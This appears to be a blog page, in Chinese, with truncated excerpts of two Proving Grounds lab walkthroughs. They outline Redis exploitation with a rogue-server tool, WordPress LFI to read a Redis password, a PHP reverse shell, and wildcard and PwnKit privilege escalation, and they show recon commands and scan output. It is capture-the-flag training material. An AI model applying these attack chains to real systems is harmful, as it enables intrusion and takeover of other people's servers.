ARIES

 Proving Grounds Practice : Readys Walkthrough Foothole (立足點 ) : 6379 Port 發現 Redis，使用 PoC 顯示要求權限 80 Port 發現 WordPress 且套件 site-editor 有 LFI 問題 透過 LFI 讀取 redis.conf 裡面的密碼後利用 redis 漏洞進入拿到 shell PE ( 提權 ) : 現有使用者限制一堆且沒有啥權限，發現通配符提權但利用路徑沒有權限寫入 列舉可寫入目錄後 測試在 /opt/redis-files 寫入 php-reverse-shell.php 執行後成功切換使用者 alice alice 直接利用通配符提權後成為 root 注意事項 : Redis 設定檔 redis.conf 有不同帳號就是有梗，試著想各種方式切換使用者 Redis 標準利用，通配符標準利用 Redis CLI 如何寫入檔案 第一步 Rustscan，└─$ rustscan -a 192.168.207.166 --scripts none --ulimit 5000 | tee rustscan 22、80 與 6379 Port (這是已知的 Redis 預設 Port) snmp closed，└─$ sudo nmap -sU -p 161 192.168.207.166 | tee snmp        nmap，└─$ sudo nmap -sCV -A -p 22,80,6379 192.168.207.166 | tee nmap 22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp   open  http    Apache httpd 2.4.38 ((Debian)) 6379/tcp open  redis   Redis key-value store (果然是 Redis) 參考前兩篇直接 Redis 漏洞利用進去看看 參考 :  ...

 Proving Grounds Practice : BlackGate Walkthrough Foothole (立足點 ) : 6379 Port 發現 Redis，使用 PoC 建立 Reverse Shell 進入系統 PE ( 提權 ) : linpeas.sh 後發現 [ CVE-2021-4034] PwnKit，執行後獲得 Root 注意事項 : 相當簡單的一題 Redis 標準利用 PwnKit 標準利用 第一步 Rustscan， └─$ rustscan -a 192.168.207.176 --scripts none --ulimit 5000 | tee rustscan 只有兩個 Port 22、6379 snmp closed，└─$ sudo nmap -sU -p 161 192.168.207.176 | tee snmp nmap，└─$ sudo nmap -sCV -A -p 22,6379 192.168.207.176 | tee nmap 22/tcp   open  ssh     OpenSSH 8.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0) 6379/tcp open  redis   Redis key-value store 4.0.14 只有兩個，排除 22 Port 直接朝向 6379 Redis 6379 Port 是 Redis 標準 Port，nmap 又顯示 Redis 那就直接下手 Redis 好用的入侵工具，參考  https://github.com/n0b0dyCN/redis-rogue-server 可以參考前一篇 :  https://your-it-note.blogspot.com/2024/03/proving-grounds-practice-wombo.html 先將 exp.so、redis-rogue-server.py 下載到同一個路徑 先帶入 -h 看一下參數，預設就帶 6379 Port 與使用 exp.so 檔案 PoC 也有使用範例 直接 PoC 下去，└─$ ./redis-ro...